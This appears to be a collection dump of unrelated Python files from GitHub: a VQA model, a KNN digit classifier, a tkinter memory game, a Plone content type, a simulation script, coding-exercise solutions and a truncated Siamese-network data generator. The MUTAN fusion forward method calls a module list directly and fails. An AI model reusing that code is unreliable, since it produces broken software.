self.data_types = data_types\n self.waymo_data = \\\n sorted(glob.glob('{}/raw/*/*/*.npz'.format(path))[:num_data])\n self.teacher_features = \\\n sorted(glob.glob('{}/teacher_features/*/*/*.npz'.format(path))[:num_data])\n\n self.has_teacher_features = len(set(self.data_types) & set(TEACHER_DATA_TYPES))\n\n def __len__(self):\n return self.num_data\n\n @staticmethod\n def collate_fn(samples):\n return samples\n\n def __getitem__(self, idx):\n \"\"\" \"\"\"\n raw = np.load(self.waymo_data[idx])\n if self.has_teacher_features:\n features = np.load(self.teacher_features[idx])\n\n ret = {}\n loadpath = self.waymo_data[idx]\n \n for data_type in self.data_types:\n if data_type in raw:\n ret[data_type] = raw[data_type]\n elif data_type in features:\n ret[data_type] = features[data_type]\n else:\n raise Exception('Datalake: requested datatype {} not present'.format(data_type))\n return ret, idx, loadpath\n","repo_name":"gtangg12/classroom-net","sub_path":"datalake/datalake.py","file_name":"datalake.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5204350037","text":"# feature extaction from pretrained model: https://discuss.pytorch.org/t/how-to-extract-features-of-an-image-from-a-trained-model/119/3\nimport torch\nimport torch.nn as nn\nimport torchvision.models as models\nimport utils\nimport torch.nn.functional as F\n\n\nclass MutanFusion(nn.Module):\n def __init__(self, input_dim, out_dim, num_layers):\n super(MutanFusion, self).__init__()\n self.input_dim = input_dim\n self.out_dim = out_dim\n self.num_layers = num_layers\n\n hv = []\n for i in range(self.num_layers):\n do = nn.Dropout(p=0.5)\n lin = nn.Linear(input_dim, out_dim)\n\n hv.append(nn.Sequential(do, lin, nn.Tanh()))\n #\n self.image_transformation_layers = nn.ModuleList(hv)\n #\n hq = []\n for i in range(self.num_layers):\n do = nn.Dropout(p=0.5)\n lin = nn.Linear(input_dim, out_dim)\n hq.append(nn.Sequential(do, lin, nn.Tanh()))\n #\n self.ques_transformation_layers = nn.ModuleList(hq)\n\n def forward(self, ques_emb, img_emb):\n # TODO: implement MUTAN. To be specific,\n # you need to pass the ques_emb to each \n # ques_transformation_layers and each\n # img_emb to image_transformation_layers,\n # and stack them together, take the sum\n # and return in the end. \n # ===============================\n # your codes here\n # ===============================\n\n #getting size of each batch segmented in the image\n image_batch_size = img_emb.size()[0]\n \n #create an empty list for storing all the embeddings(intermediate and final) during transformation \n transformed_embedding = []\n\n #passes each of the question and the image embeddings to question transformation layers and image transformation layers respectively\n #appends the tranformed question and image embeddings to empty transformed_embedding list\n for i in range(self.num_layers):\n transformed_ques_emb = self.ques_transformation_layers(ques_emb)\n transformed_img_emb = self.image_transformation_layers(img_emb)\n transformed_embedding.append(torch.mul(transformed_ques_emb, transformed_img_emb))\n\n #Stacking \n transformed_embedding = torch.stack(transformed_embedding, dim=1)\n\n #Summation\n transformed_embedding = transformed_embedding.sum(1).view(image_batch_size, self.out_dim)\n\n #Output = activation(summation)\n transformed_embedding = F.tanh(transformed_embedding)\n\n return transformed_embedding\n\n\nclass Normalize(nn.Module):\n def __init__(self, p=2):\n super(Normalize, self).__init__()\n self.p = p\n\n def forward(self, x):\n # Pdb().set_trace()\n x = x / x.norm(p=self.p, dim=1, keepdim=True)\n return x\n\n\nclass ImageEmbedding(nn.Module):\n def __init__(self, image_channel_type='I', output_size=1024, mode='train',\n extract_features=False, features_dir=None):\n super(ImageEmbedding, self).__init__()\n self.extractor = models.vgg16(pretrained=True)\n # freeze feature extractor (VGGNet) parameters\n for param in self.extractor.parameters():\n param.requires_grad = False\n\n extactor_fc_layers = list(self.extractor.classifier.children())[:-1]\n if image_channel_type.lower() == 'normi':\n extactor_fc_layers.append(Normalize(p=2))\n self.extractor.classifier = nn.Sequential(*extactor_fc_layers)\n\n self.fflayer = nn.Sequential(\n nn.Linear(4096, output_size),\n nn.Tanh())\n\n # TODO: Get rid of this hack\n self.mode = mode\n self.extract_features = extract_features\n self.features_dir = features_dir\n\n def forward(self, image, image_ids):\n # Pdb().set_trace()\n if not self.extract_features:\n image = self.extractor(image)\n # if self.features_dir is not None:\n # utils.save_image_features(image, image_ids, self.features_dir)\n\n image_embedding = self.fflayer(image)\n return image_embedding\n\n\nclass QuesEmbedding(nn.Module):\n def __init__(self, input_size=300, hidden_size=512, output_size=1024, num_layers=2, batch_first=True):\n super(QuesEmbedding, self).__init__()\n # TODO: take as parameter\n self.bidirectional = True\n if num_layers == 1:\n self.lstm = nn.LSTM(input_size=input_size, hidden_size=hidden_size,\n batch_first=batch_first, bidirectional=self.bidirectional)\n\n if self.bidirectional:\n self.fflayer = nn.Sequential(\n nn.Linear(2 * num_layers * hidden_size, output_size),\n nn.Tanh())\n else:\n self.lstm = nn.LSTM(input_size=input_size, hidden_size=hidden_size,\n num_layers=num_layers, batch_first=batch_first)\n self.fflayer = nn.Sequential(\n nn.Linear(2 * num_layers * hidden_size, output_size),\n nn.Tanh())\n\n def forward(self, ques):\n _, hx = self.lstm(ques)\n lstm_embedding = torch.cat([hx[0], hx[1]], dim=2)\n ques_embedding = lstm_embedding[0]\n if self.lstm.num_layers > 1 or self.bidirectional:\n for i in range(1, self.lstm.num_layers):\n ques_embedding = torch.cat(\n [ques_embedding, lstm_embedding[i]], dim=1)\n ques_embedding = self.fflayer(ques_embedding)\n return ques_embedding\n\n\nclass VQAModel(nn.Module):\n\n def __init__(self, vocab_size=10000, word_emb_size=300, emb_size=1024, output_size=1000, image_channel_type='I', ques_channel_type='lstm', use_mutan=True, mode='train', extract_img_features=True, features_dir=None):\n super(VQAModel, self).__init__()\n self.mode = mode\n self.word_emb_size = word_emb_size\n self.image_channel = ImageEmbedding(image_channel_type, output_size=emb_size, mode=mode,\n extract_features=extract_img_features, features_dir=features_dir)\n\n # NOTE the padding_idx below.\n self.word_embeddings = nn.Embedding(vocab_size, word_emb_size)\n if ques_channel_type.lower() == 'lstm':\n self.ques_channel = QuesEmbedding(\n input_size=word_emb_size, output_size=emb_size, num_layers=1, batch_first=False)\n elif ques_channel_type.lower() == 'deeplstm':\n self.ques_channel = QuesEmbedding(\n input_size=word_emb_size, output_size=emb_size, num_layers=2, batch_first=False)\n else:\n msg = 'ques channel type not specified. please choose one of - lstm or deeplstm'\n print(msg)\n raise Exception(msg)\n\n self.mutan = MutanFusion(emb_size, emb_size, 5)\n self.mlp = nn.Sequential(nn.Linear(emb_size, output_size))\n\n def forward(self, images, questions, image_ids):\n # TODO: implement the forward function.\n # (image embedding, word embedding -> question\n # embedding) -> MUTAN -> output \n # ==========================================\n # your codes here\n # ==========================================\n\n #creates image, word, and question embeddings by passing the required parameters to each of its respective channels\n image_embed = self.image_channel(images, image_ids)\n word_embed = self.word_embeddings(questions)\n question_embed = self.ques_channel(word_embed)\n\n #Checking for 'mutan' attribute\n if hasattr(self, 'mutan'):\n mutan_output = self.mutan(question_embed, image_embed)\n else:\n mutan_output = image_embed * question_embed\n\n final_result = self.mlp(mutan_output)\n\n return final_result\n","repo_name":"ppd5116/VQA","sub_path":"vqa-1.py","file_name":"vqa-1.py","file_ext":"py","file_size_in_byte":7835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21453512925","text":"# -*- encoding: utf-8 -*-\n'''\n@File : WritingKnn.py\n@Time : 2020/09/28 17:30:12\n@Author : 陆天天\n@Version : 1.0\n@Contact : 18857917788@163.com\n'''\nimport numpy as np\nimport os\n\n\ndef img2vector(filename):\n returnvect = np.zeros((1, 1024))\n data = open(filename)\n for i in range(32):\n lineStr = data.readline()\n for j in range(32):\n returnvect[0, 32 * i + j] = int(lineStr[j])\n return returnvect\n\n\n# [returnvect] = img2vector('F:\\\\python\\\\KNN\\\\example2\\\\trainingDigits\\\\0_0.txt')\n# print(returnvect[0:32])\n# print(returnvect[32:64])\n\n\ndef classify0(inX, dataSet, labels, k):\n dataSetSize = dataSet.shape[0]\n diffMat = np.tile(inX, (dataSetSize, 1)) - dataSet\n sqDiffMat = diffMat**2\n sqDistances = sqDiffMat.sum(axis=1)\n distances = sqDistances**0.5\n sortedDistIndicies = distances.argsort()\n classCount = {}\n for i in range(k):\n voteIlabel = labels[sortedDistIndicies[i]]\n classCount[voteIlabel] = classCount.get(voteIlabel, 0) + 1\n sortedClassCount = sorted(classCount.items(),\n key=lambda item: item[1],\n reverse=True)\n return sortedClassCount[0][0]\n\n\ndef handwritingClassTest():\n # 1. 导入训练数据\n hwLabels = []\n trainingFileList = os.listdir('KNN\\\\example2\\\\trainingDigits')\n m = len(trainingFileList)\n trainingMat = np.zeros((m, 1024))\n for i in range(m):\n fileNameStr = trainingFileList[i]\n fileStr = fileNameStr.split('.')[0]\n classNumStr = int(fileStr.split('_')[0])\n hwLabels.append(classNumStr)\n trainingMat[i, :] = img2vector(\n 'KNN\\\\example2\\\\trainingDigits\\\\%s' % fileNameStr)\n\n # 2. 导入测试数据\n testFileList = os.listdir('KNN\\\\example2\\\\testDigits')\n errorCount = 0.0\n mTest = len(testFileList)\n for i in range(mTest):\n fileNameStr = testFileList[i]\n fileStr = fileNameStr.split('.')[0]\n classNumStr = int(fileStr.split('_')[0])\n vectorUnderTest = img2vector('KNN\\\\example2\\\\testDigits\\\\%s' % fileNameStr)\n classifierResult = classify0(vectorUnderTest, trainingMat, hwLabels, 3)\n print(\"the classifier came back with: %d, the real answer is: %d\" % (classifierResult, classNumStr))\n if (classifierResult != classNumStr):\n errorCount += 1.0\n print(\"\\nthe total number of errors is: %d\" % errorCount)\n print(\"\\nthe total error rate is: %f\" % (errorCount / float(mTest)))\n\n\nif __name__ == \"__main__\":\n handwritingClassTest()\n","repo_name":"LuTiantian-0406/Machine-learning-matlab-python","sub_path":"KNN/example2/WritingKnn.py","file_name":"WritingKnn.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73051124355","text":"import tkinter as tk\nfrom tkinter import Button, Label\nimport random\n\nclass MemoryGame:\n def __init__(self, root, grid_size=4):\n self.root = root\n self.root.title(\"Memory Game\")\n self.grid_size = grid_size\n self.score = 0\n self.reset_game()\n\n def reset_game(self, grid_size=None):\n if grid_size:\n self.grid_size = grid_size\n \n # Clear all existing widgets\n for widget in self.root.winfo_children():\n widget.destroy()\n\n self.score_label = Label(self.root, text=f'Score: {self.score}')\n self.score_label.grid(row=self.grid_size + 1, column=0, columnspan=self.grid_size)\n \n max_num = (self.grid_size * self.grid_size) // 2\n numbers = [str(i) for i in range(1, max_num + 1)]\n numbers *= 2 # Create pairs\n random.shuffle(numbers) # Shuffle numbers\n\n self.buttons = [[None for _ in range(self.grid_size)] for _ in range(self.grid_size)]\n self.revealed = [[False for _ in range(self.grid_size)] for _ in range(self.grid_size)]\n self.matched = [[False for _ in range(self.grid_size)] for _ in range(self.grid_size)]\n self.previous_button = None\n\n for i in range(self.grid_size):\n for j in range(self.grid_size):\n number = numbers.pop()\n btn = Button(self.root, text='', width=5, height=2, command=lambda i=i, j=j, number=number: self.reveal(i, j, number))\n btn.grid(row=i, column=j)\n self.buttons[i][j] = (btn, number)\n\n reset_button = Button(self.root, text='Reset', command=self.reset_game)\n reset_button.grid(row=self.grid_size, column=0, columnspan=self.grid_size//2)\n\n difficulty_button = Button(self.root, text='Change Difficulty', command=self.change_difficulty)\n difficulty_button.grid(row=self.grid_size, column=self.grid_size//2, columnspan=self.grid_size//2)\n\n def change_difficulty(self):\n new_size = {4: 6, 6: 8, 8: 4}.get(self.grid_size, 4)\n self.reset_game(grid_size=new_size)\n\n def reveal(self, i, j, number):\n btn, original_number = self.buttons[i][j]\n\n if not self.revealed[i][j] and not self.matched[i][j]:\n btn.config(text=number, bg='light grey')\n self.revealed[i][j] = True\n\n if self.previous_button:\n prev_i, prev_j = self.previous_button\n if original_number == self.buttons[prev_i][prev_j][1]:\n print(\"Match found!\")\n self.matched[i][j] = True\n self.matched[prev_i][prev_j] = True\n btn.config(bg='light green')\n self.buttons[prev_i][prev_j][0].config(bg='light green')\n self.previous_button = None\n\n # Increment and update score\n self.score += 2\n self.score_label.config(text=f'Score: {self.score}')\n else:\n self.root.after(1000, self.hide, i, j, prev_i, prev_j)\n self.previous_button = None\n else:\n self.previous_button = (i, j)\n\n def hide(self, i1, j1, i2, j2):\n if not self.matched[i1][j1]:\n self.buttons[i1][j1][0].config(text='', bg='white')\n self.revealed[i1][j1] = False\n if not self.matched[i2][j2]:\n self.buttons[i2][j2][0].config(text='', bg='white')\n self.revealed[i2][j2] = False\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n game = MemoryGame(root)\n root.mainloop()\n","repo_name":"SMCallan/CSMemory","sub_path":"CSMemory.py","file_name":"CSMemory.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21789765614","text":"# zope imports\nimport transaction\nfrom zope.interface import implements\n\n# Zope imports\nfrom DateTime import DateTime\nfrom AccessControl import ClassSecurityInfo\n\n# CMFCore imports\nfrom Products.CMFCore.utils import getToolByName\n\n# Archetypes imports\nfrom Products.Archetypes.atapi import *\n\n# easyshop imports\nfrom easyshop.core.config import *\nfrom easyshop.core.interfaces import IDateCriteria\n\nschema = Schema((\n\n StringField(\n name='title',\n widget=StringWidget(\n visible={'edit':'invisible', 'view':'invisible'},\n label='Title',\n label_msgid='schema_title_label',\n i18n_domain='EasyShop',\n ),\n required=0\n ),\n\n DateTimeField(\n name='start',\n widget=CalendarWidget(\n label='Start',\n label_msgid='schema_start_label',\n i18n_domain='EasyShop',\n )\n ),\n\n DateTimeField(\n name='end',\n widget=CalendarWidget(\n label='End',\n label_msgid='schema_end_label',\n i18n_domain='EasyShop',\n )\n ),\n\n),\n)\n\nclass DateCriteria(BaseContent):\n \"\"\"\n \"\"\"\n implements(IDateCriteria)\n security = ClassSecurityInfo() \n _at_rename_after_creation = True \n schema = BaseSchema.copy() + schema.copy()\n\n def _renameAfterCreation(self, check_auto_id=False):\n \"\"\"Overwritten to set the default value for id\n \"\"\"\n transaction.commit()\n new_id = \"DateCriteria\"\n self.setId(new_id)\n\n def Title(self):\n \"\"\"\n \"\"\"\n return \"Date\"\n \n def getValue(self):\n \"\"\"\n \"\"\"\n tool = getToolByName(self, 'translation_service')\n start = tool.ulocalized_time(self.getStart(), long_format=False)\n end = tool.ulocalized_time(self.getEnd(), long_format=False)\n \n return \"%s - %s\" % (start, end) \n\nregisterType(DateCriteria, PROJECTNAME)","repo_name":"ned14/Easyshop","sub_path":"src/easyshop.criteria/easyshop/criteria/content/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"61"} +{"seq_id":"43434745644","text":"# Simulation of Gaussian mean width of w(S_ns)\n\n# Imports\n# -------------\nimport numpy as np\nimport scipy as sp\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nimport cvxpy as cp\n\n# As per requirement fixing s\n\n# Gaussian mean width is calculated as E[sup], supremum over x in S_ns-S_ns,\n# Expectation over standard Gaussian random vector g, K is Euclidean ball in R^n\n\n# By lemma 2.3 w(S_ns) = E[max_|T|=s ||g_T||_2]\n\n\n# Define the constraints for the sparse signal set\ndef gaus_mean_width_S_ns(n,s):\n # by roman vershynin 3.5.3\n # with high probability w(K) is about w(K,g) = sup , u in K-K\n g = sp.stats.multivariate_normal.rvs(np.zeros(n))\n inner_array = []\n density = s/n\n rvs = sp.stats.uniform(loc=-50, scale = 100 ).rvs\n #S_ns_constraints = [cp.norm(x,0) <= s , cp.norm(x,2)<= 1]\n for j in range(0, 500*50):\n u_1 = sp.sparse.random(n,1,density=density,data_rvs=rvs).todense()\n u_2 = sp.sparse.random(n,1,density=density, data_rvs=rvs).todense()\n inner = np.transpose(g)*(u_1/np.linalg.norm(u_1) - u_2/np.linalg.norm(u_2)) # u in S_ns - S_ns\n inner_array.append( inner )\n return max(inner_array)\n\n\n# bounds cs log(2n/s) =< w^2(S_ns) =< Cs log(2n/s)\ndef gaus_mw_low_up_bd(n,s):\n return np.sqrt( np.log(2*n/s) )\n\n\n\n# Below are the conditions for S^1_ns, S^2_ns, S^3_ns\n\ndef gaus_mean_width_S_ns_1(n,s):\n g = sp.stats.multivariate_normal.rvs(np.zeros(n))\n inner_array = []\n density = s/n\n rvs = sp.stats.uniform(loc=-50, scale = 100 ).rvs\n for j in range(0, 500*50):\n # change u_1 and u_2 to satisfy the restrictions of xi >= 0\n u_1 = sp.sparse.random(n,1,density=density, data_rvs=rvs).todense()\n u_1 = abs(u_1)\n u_2 = sp.sparse.random(n,1,density=density, data_rvs=rvs).todense()\n u_2 = abs(u_2)\n inner = np.transpose(g)*(u_1/np.linalg.norm(u_1) - u_2/np.linalg.norm(u_2)) # u in S_ns - S_ns\n inner_array.append( inner )\n return max(inner_array)\n\n\n\ndef gaus_mean_width_S_ns_2(n,s):\n g = sp.stats.multivariate_normal.rvs(np.zeros(n))\n inner_array = []\n density = s/n\n rvs = sp.stats.uniform(loc= np.random.randint(low=-50,high=100) , scale = 0 ).rvs\n for j in range(0, 500*50):\n u_1 = sp.sparse.random(n,1,density=density, data_rvs=rvs).todense()\n u_2 = sp.sparse.random(n,1,density=density, data_rvs = rvs).todense()\n inner = np.transpose(g)*(u_1/np.linalg.norm(u_1) - u_2/np.linalg.norm(u_2)) # u in S_ns - S_ns\n inner_array.append( inner )\n return max(inner_array)\n\n\n\ndef gaus_mean_width_S_ns_3(n,s):\n g = sp.stats.multivariate_normal.rvs(np.zeros(n))\n inner_array = []\n density = s/n\n rvs = sp.stats.uniform(loc= np.random.randint(low=-50,high=100) , scale = 0 ).rvs\n for j in range(0, 500*50):\n u_1 = sp.sparse.random(n,1,density=density,data_rvs=rvs).todense()\n m1 = np.random.randint(low= 0, high = n+1)\n idx1 = np.random.choice(n,m1, replace=False)\n u_1[idx1] = -u_1[idx1]\n\n\n u_2 = sp.sparse.random(n,1,density=density,data_rvs=rvs).todense()\n m2 = np.random.randint(low= 1, high = n+1)\n idx2 = np.random.choice(n,m2, replace=False)\n u_2[idx2] = -u_2[idx2]\n if(np.linalg.norm(u_1) != 0 and np.linalg.norm(u_2) !=0):\n inner = np.transpose(g)*(u_1/np.linalg.norm(u_1) - u_2/np.linalg.norm(u_2)) # u in S_ns - S_ns\n inner_array.append( inner )\n return max(inner_array)\n\n\n# Testing and plotting\n# -------------------------\n\ns = 5\nn_array = [i for i in range(s,40)]\nbound_1 =[]\nbound_2 =[]\ng_mean_Sn5 = []\ng_mean_Sn5_1 = []\ng_mean_Sn5_2 = []\ng_mean_Sn5_3 = []\n\nfor i in n_array:\n bound_1.append(gaus_mw_low_up_bd(i,s))\n bound_2.append(5*gaus_mw_low_up_bd(i,s))\n g_mean_Sn5.append(np.float(gaus_mean_width_S_ns(i,s)) )\n g_mean_Sn5_1.append(np.float(gaus_mean_width_S_ns_1(i,s)))\n g_mean_Sn5_2.append(np.float(gaus_mean_width_S_ns_2(i,s)))\n g_mean_Sn5_3.append(np.float(gaus_mean_width_S_ns_3(i,s)))\n\nplt.plot(n_array,bound_1, label='bound_low')\nplt.plot(n_array,bound_2, label='bound_high')\nplt.plot(n_array,g_mean_Sn5, label='S_n5')\nplt.plot(n_array,g_mean_Sn5_1, label='S_n5_1')\nplt.plot(n_array,g_mean_Sn5_2, label='S_n5_2')\nplt.plot(n_array,g_mean_Sn5_3, label='S_n5_3')\nplt.xlabel('dimension n')\nplt.ylabel('values of w(K)')\nplt.title(\" dimension vs w(S_ns)\")\nplt.legend()\nplt.show()\n\n","repo_name":"mastercljohnson/ConvexOpt","sub_path":"sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31590546581","text":"# csv파싱 문제 => 해시로 그룹화 - 오름차순 정렬 - 변경한 이름 해시 value 리스트에 추가 - 문제에 맞게 정렬\n\ndef solution(S):\n # 먼저 주어진 문자열을 개행기준으로 짤라서 리스트로 만들기\n photos = S.split('\\n')\n # hash_map으로 해시 정의하기\n hash_map = {}\n # 개행기준으로 짜른 리스트를 enumerate로 인덱스와 함께 for문 진행\n for i, photo in enumerate(photos):\n raw = []\n # 개행기준으로 짜른 리스트의 요소를 하나씩 콤마(구분자) 기준으로 짜르고, 그 짜른 걸 for문으로 하나씩 뽑기\n for item in photo.split(','):\n # 뽑은 요소들을 raw라는 리스트에 append하기 / 이 때, 그 요소의 양 옆 공백을 없애고 추가하기 위해 strip 함수 사용하기\n raw.append(item.strip(' '))\n # 그렇게 해서 raw 리스트 요소의 개수 len이 3개일 때, enumerate로 뽑은 인덱스를 raw 리스트 마지막에 추가해준다\n # raw = [‘photo.jpg’, ‘Warsaw’, ‘2013-09-05 14:08:15’, 0] 이런식의 상태가 된다\n if len(raw) == 3:\n raw.append(i)\n # 위의 상태에서 raw[1]이 hash_map에 없다면, hash_map[raw[1]] = [] 이런식으로 해당 도시를 key로 설정하고 빈 리스트를 value로 설정해준다\n if raw[1] not in hash_map:\n hash_map[raw[1]] = []\n # 그 다음 hash_map[raw[1]].append(raw) 이렇게 raw[1]에 해당하는 key와 연결된 value에 append로 raw를 추가해서 도시별 그룹화 진행\n # {‘Warsaw’: [[‘photo.jpg’, ‘Warsaw’, ‘2013-09-05 14:08:15’, 0], …]}\n # 그리고 for문이 돌 때 마다 이 raw가 다시 빈 리스트가 되면서 반복된다\n hash_map[raw[1]].append(raw)\n # 즉, 여기까지가 하나의 for문이고 hash_map이라는 해시에 key에는 도시가 들어가있고, 그 key에 해당하는 value는 그 도시에 찍은 사진 정보 리스트들이 \n # 2차원 배열로 들어가 있게 된다. raw = [] 이렇게 raw라는 빈 리스트를 만들고 주어진 리스트의 요소를 하나씩 나눠서 공백 제거해서 넣고 나중에는 그 raw를 \n # 해시의 value에 넣는 것이다.\n\n # 이제 그 다음 for문에서 해시의 key만 하나씩 뽑는다\n for key in hash_map.keys():\n # 그래서 해당 key에 대응되는 value 2차원 배열 리스트를 날짜기준으로 오름차순 정렬을 진행한다\n # 여기서 2차원 배열의 리스트 요소 1개씩을 x라고 생각하면 된다 / 그래서 그 리스트의 인덱스 2면 3번째이니까 날짜를 기준으로 오름차순 정렬이 되는 것이다\n # city = [[‘myFriends.png’, Warsaw’, ‘2013-09-05 14:07:13’], [], ..] 이런식으로 2차원 배열이 되고 날짜 기준 오름차순 정렬이 된다\n # 즉, 해시에 있는 key를 for문으로 하나씩 뽑아서 대응되는 value 리스트들을 기준에 맞게 정렬한 새로운 city라는 리스트를 정의하는 것이다\n city = sorted(hash_map[key], key = lambda x : x[2])\n # 하나의 key에 대응되는 value들을 다 정렬한 상태에서, 그 city 2차원 배열에서 enumerate로 인덱스와 요소들을 뽑아주기\n for j, info in enumerate(city):\n # 그러면 하나의 사진 정보 리스트가 나올텐데, 가장 앞에 있는 사진 제목에 접근하고 콤마를 기준으로 나눈뒤 [-1]로 가장 마지막에 있는 요소를 가져오면 \n # ext가 png와 같은 확장자가 된다. \n ext = info[0].split('.')[-1]\n # 그 다음, 도시 이름 옆에 번호를 붙여야하는데 총 사진의 개수가 1자리 수이면 1,2,3,… 이렇게 되고 2자리 수이면 01,02,… 10, .. 이렇게 되어야 한다\n # 이렇게 하기 위해 위에서 정렬한 2차원 배열 리스트인 city의 개수를 구하고, \n # 그 개수를 문자열로 만들어서 또 개수를 구하면 ==> 총 개수의 자릿수를 알 수 있게 된다\n # ex) 총 city의 개수가 10개라면 k는 2가 되어 2자릿수라는 것을 알 수 있다\n n = len(city)\n k = len(str(n))\n # 그 다음으로는 파일명을 바꿔주는 과정이다. 여기서 {0}, {1}, {2}는 format 함수 뒤에 변수들을 순서대로 의미하는 것이다\n # 바꿀 이름의 첫부분은 도시이름이 나와야 하니까 해시의 keys()로 해서 하나를 뽑은 key를 입력\n # 그 다음으로는 번호가 나와야 한다. rjust() 메서드를 이용해서 번호앞에 0을 붙일지 말지 로직을 구성\n # 그래서 지금은 원하는 문자열 길이가 자릿수를 의미하는 k이고, 출력하고자 하는 문자열은 1부터 시작하는 인덱스이니까 str(j+1)이 된다\n # 그리고 길이가 될 때까지 채우는 것은 “0” 이 된다 / 그래서 문자열 길이가 k가 될 때까지 문자열 왼쪽에 \"0\"이 추가된다\n # 그리고 파일 이름 마지막에는 확장자가 들어가면 되니까 {2} 부분에 해당하는 건 ext로 설정한다\n # ex) file = ‘Warsaw01.png’ \n file = \"{0}{1}.{2}\".format(key, str(j+1).rjust(k,'0'), ext)\n # 아래 코드를 입력해서 우리가 지금 뽑은 city라는 2차원 배열에 인덱스로 접근한 리스트 마지막에 file 변수를 추가해준다.\n # city = [[‘myFriends.png’, ‘Warsaw’, ‘2013-09-05 14:07:13’, 2, ‘Warsaw01.png’], [], …] 이렇게 된다\n city[j].append(file)\n # 그래서 city라는 특정 key의 value들을 정렬한 2차원 배열에서 하나씩 뽑아서 위의 과정을 반복\n # 그러다가 특정 key를 뽑는 하나의 For문이 끝나면 hash_map[key] = city 이렇게 hash_map 해시의 value를 city로 대체해준다.\n hash_map[key] = city\n\n # 위의 과정까지 진행하면 hash_map이라는 해시는 도시이름 key별로 사진 정보가 오름차순 정렬된 리스트들이 2차원 배열로 value가 들어가 있는 상태\n # 이제 원래 인덱스 기준으로 정렬해서 출력하기\n output = []\n # output이라는 리스트를 정의하고, 위에서 정의한 hash_map 해시의 value들만 하나씩 for문으로 뽑기\n # 이 때, value는 key에 대응되는 value가 나오는 것이라서, 처음 for문에서 value를 뽑으면 ‘Warsaw’ key에 해당하는 value인 \n # [[‘myFriends.png’, ‘Warsaw’, ‘2013-09-05 14:07:13’, 2, ‘Warsaw01.png’], \n # [‘photo.jpg’, ‘Warsaw’, ‘2013-09-05 14:08:15’, 0, ‘Warsaw02.png’], [], …] ==> 이렇게 2차원 배열이 한꺼번에 뽑아진다\n for value in hash_map.values():\n # 그래서 이렇게 append가 아닌 extend를 해준다 / 그러면 output이라는 변수가 2차원 배열이 되고, \n # extend이니까 요소만 계속 추가되어서 2차원 배열 형태가 유지되고, 큰 리스트 안에 사진정보 하나의 리스트씩 들어가있게 된다\n output.extend(value)\n \n # 이렇게 위에서 사진정보 리스트 1개씩이 들어간 output 2차원 배열 변수를 만든 상태에서 원래 인덱스를 기준으로 정렬을 해주면 된다\n # output 2차원 배열에서 요소 1개인 하나의 리스트가 x가 된다. 즉, 하나의 리스트에서 원래 인덱스를 나타내는 x[3]를 기준으로 오름차순 정렬을 진행하게 된다\n result = sorted(output, key = lambda x : x[3])\n # 이렇게 만든 result 리스트에서 1개 리스트씩 뽑아서 1개 리스트의 인덱스 4번을 출력해주면 우리가 원하는 형태의 이름인 Warsaw02.jpg를 한 줄씩 출력하게 된다.\n for item in result:\n print(item[4])\n\n# 답을 형식에 따라 맞춰주면 된다.\n\nS = 'photo.jpg, Warsaw, 2013-09-05 14:08:15\\njohn.png, London, 2015-06-20 15:13:22\\nmyFriends.png, Warsaw, 2013-09-05 14:07:13\\nEiffel.jpg, Paris, 2015-07-23 08:03:02\\npisatower.jpg, Paris, 2015-07-22 23:59:59\\nBOB.jpg, London, 2015-08-05 00:02:03\\nnotredame.png, Paris, 2015-09-01 12:00:00\\nme.jpg, Warsaw, 2013-09-06 15:40:22\\na.png, Warsaw, 2016-02-13 13:33:50\\nb.jpg, Warsaw, 2016-01-02 15:12:22\\nc.jpg, Warsaw, 2016-01-02 14:34:30\\nd.jpg, Warsaw, 2016-01-02 15:15:01\\ne.png, Warsaw, 2016-01-02 09:49:09\\nf.png, Warsaw, 2016-01-02 10:55:32\\ng.jpg, Warsaw, 2016-02-29 22:13:11'\n\nsolution(S)\n","repo_name":"tkdqor/coding_test_practice","sub_path":"codility/csv파싱/csv파싱 문제.py","file_name":"csv파싱 문제.py","file_ext":"py","file_size_in_byte":8656,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43578854255","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 8 21:07:25 2019\n\n@author: User\n\"\"\"\n\n\"\"\"\nCode Challenge\n Name: \n Operations Function\n Filename: \n operation.py\n Problem Statement:\n Write following functions for list operations. Take list as input from the User\n Add(), Multiply(), Largest(), Smallest(), Sorting(), Remove_Duplicates(), Print()\n Only call Print() function to display the results in the below displayed \n format (i.e all the functions must be called inside the print() function \n and only the Print() is to be called in the main script)\n\n Input: \n 5,2,6,2,3\n Output:\n Sum = 18\n Multiply = 360\n Largest = 6\n Smallest = 2\n Sorted = [2, 2, 3, 5, 6]\n Without Duplicates = [2, 3, 5, 6] \n\"\"\"\n\ndef Add(list1):\n add = 0\n for x in list1:\n add = add + int(x)\n return add\ndef Multiply(list1):\n mul = 1\n for x in list1:\n mul = mul * int(x)\n return mul\ndef Largest(list1):\n lar = list1[0]\n for x in list1:\n if(int(x)>int(lar)):\n lar=x\n return lar\ndef Smallest(list1):\n small = list1[0]\n for x in list1:\n if(int(x)= batch_size // 2:\n # 如果i > batch_size // 2,我们就给网络输入相同类别、但不同手写的图片\n category_2 = category_1\n else:\n # 如果是< batch_size // 2,就给他随便加上一个数字,对20求余,使它与category_1不等\n category_2 = (category_1 + np.random.randint(1, n_classes)) % n_classes\n image_group[1][i, :, :, :] = X[category_2, idx_2].reshape(w, h, 1)\n\n return image_group, labels\n\n def generate(self, batch_size, mode=\"train\"):\n \"\"\"\n 写一个用生成器,方便后面model.fit_generator读取。\n TODO:tf.data来写\n :param batch_size:\n :param mode:\n :return:\n \"\"\"\n while True:\n image_group, labels = self.get_batch(batch_size, mode)\n yield image_group, labels\n\n def 